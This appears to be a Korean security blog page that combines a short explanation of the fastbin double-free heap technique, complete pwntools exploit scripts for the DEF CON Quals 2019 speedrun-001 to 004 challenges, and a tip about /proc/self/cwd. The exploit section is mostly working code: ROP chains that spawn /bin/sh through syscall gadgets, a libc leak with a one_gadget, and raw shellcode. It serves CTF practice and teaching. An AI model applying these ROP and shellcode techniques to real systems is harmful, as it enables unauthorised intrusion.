사용 조건

1. 동일한 크기의 fast chunk의 할당과 해제가 자유로워야함

2. 공격자에 의해 해제된 fast chunk를 한번 더 해제 할 수 있어야 함(double free bug)

3. 공격자에 의해 할당된 fast chunk 영역에 값을 저장할 수 있어야 함

4. 할당 받고자 하는 stack 영역에 해제된 fast chunk의 크기 값이 저장되어 있어야 함

 

a = malloc(112)

b = malloc(112)

c = malloc(112)

 

free(a)

free(b)

free(a)

-> 이 과정에서 fatsbin에 a->b->a 순서로 들어가게 됨.

 

다시 

d = malloc(112)

e = malloc(112)

후에 d의 fd에 원하는 값(stack영역의 주소 - prev_size공간(0x8))을 넣어줌

다시 

f = malloc(112)

g = malloc(112)  // 여기서 원하는 stack영역의 주소에 메모리를 할당!

'HACKING > System hacking' 카테고리의 다른 글

tips for find binsh address using pwntool  (0) 2019.07.05
unsafe unlink  (0) 2019.06.06
remote socket exploit??  (0) 2019.02.03
memory cheat sheet  (0) 2019.01.17
free_hook으로 Full Relro 우회  (0) 2018.09.17

시간이 없어서 이제 올린다.. 다른 문제 더 풀고 또 추가할 예정

speedrun001

from pwn import *

#p = process("./speedrun-001")
p = remote("speedrun-001.quals2019.oooverflow.io", 31337)
elf = ELF("./speedrun-001")

pop_rdi = 0x48e712
pop_rsi = 0x48e213
pop_rdx_rsi = 0x44be39
pop_rax = 0x415664
mov_eax_syscall_write = 0x004499b0
bss = elf.bss()
binsh = "/bin/sh\x00"
syscall = 0x474e65

print p.recv()
payload = "A"*1032
payload += p64(pop_rax)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rdx_rsi)
payload += p64(len(binsh))
payload += p64(bss+0x1000)
payload += p64(syscall)

payload += p64(pop_rax)
payload += p64(59)
payload += p64(pop_rdi)
payload += p64(bss+0x1000)
payload += p64(pop_rdx_rsi)
payload += p64(0)
payload += p64(0)
payload += p64(syscall)

#pause()
p.sendline(payload)
#pause()

p.sendline(binsh)
p.interactive()

pop rax 가젯으로 syscall을 호출했다.

 

speedrun002

from pwn import *

#p = process('./speedrun-002')
p = remote('speedrun-002.quals2019.oooverflow.io', 31337)
elf = ELF('./speedrun-002')
read_plt = elf.plt['read']
read_got = elf.got['read']
write_plt = elf.plt['write']
write_got = elf.got['write']
pop_rdi = 0x4008a3
pop_rsi_r15 = 0x4008a1
pop_rdx = 0x4006ec
write_offset = 0x110140

print p.recv()
p.sendline("Everything intelligent is so boring.")
print p.recv()

payload = "A"*0x408
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi_r15)
payload += p64(write_got)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(8)
payload += p64(write_plt)

payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(write_got)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(8)
payload += p64(read_plt)

payload += p64(write_plt)

pause()
p.sendline(payload)
pause()
p.recvuntil("ting.\x0a")
libc_write = u64(p.recv(8))
libc_base = libc_write - write_offset
one_gadget = libc_base + 0x4f322
log.info("libc_write = {}".format(hex(libc_write)))
log.info("libc_base = {}".format(hex(libc_base)))
log.info("one_gadget = {}".format(hex(one_gadget)))

p.sendline(p64(one_gadget))

libc leak을 한 후 libc_database를 사용해 offset을 구해 익스했다.

 

 

speedrun003

from pwn import *

p = process('./speedrun-003')
#p = remote('speedrun-003.quals2019.oooverflow.io', 31337)
#pause()
print p.recv()

payload = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb"
payload += "\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
payload += "\x4e\x4e\x56"
p.send(payload)

p.interactive()

리버싱으로 쉘코드가 만들어지는 값을 찾아 내었다.

 

speedrun004

from pwn import *

#p = process('./speedrun-004')
p = remote('speedrun-004.quals2019.oooverflow.io', 31337)
elf = ELF('./speedrun-004')

bss = elf.bss()
pop_rax = 0x415f04
pop_rdi = 0x483f1c
pop_rsi = 0x410a93
pop_rdx = 0x44c6b6
syscall = 0x475a27
binsh = "/bin/sh\x00"

print p.recv()
#pause()

p.sendline("\x09\x09257")
#pause()
print p.recv()
#pause()

payload = "\x90"*112
#payload += "U"*108 # here!!!

payload += p64(pop_rax)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(bss+0x1000)
payload += p64(pop_rdx)
payload += p64(len(binsh))
payload += p64(syscall)

payload += p64(pop_rax)
payload += p64(59)
payload += p64(pop_rdi)
payload += p64(bss+0x1000)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(syscall)

#payload += "C"*8
payload += "\x28"*(257-len(payload))

p.send(payload)
#pause()

p.send(binsh)
p.interactive()

한번에 따지지는 않지만 여러번 시도하면 확률적으로 쉘이 따진다.

 

'CTF' 카테고리의 다른 글

facebook CTF 2019 products-manager  (0) 2019.06.04
facebook CTF 2019 overfloat  (0) 2019.06.03
hackzone 2019 pwn2 (Syscall)  (0) 2019.05.09
hackzone 2019 pwn1  (0) 2019.05.07
BTH_CTF 2019  (0) 2019.05.01

'/proc/self/cwd'는 현재 실행중인 프로세스의 디렉토리 표시하는 명령어다.

 

ctf때 쓸 수 있을 것 같다.

'OS > linux' 카테고리의 다른 글

linux include 파일 찾기  (0) 2020.07.02
프로세스에서 사용중인 파일 디스크립터 찾기  (0) 2018.07.20
리눅스 넘버링?  (0) 2018.03.27
리눅스 세션 연결 시 history 자동 삭제하기  (0) 2018.03.20
vim 화면 스크롤  (0) 2018.02.15

+ Recent posts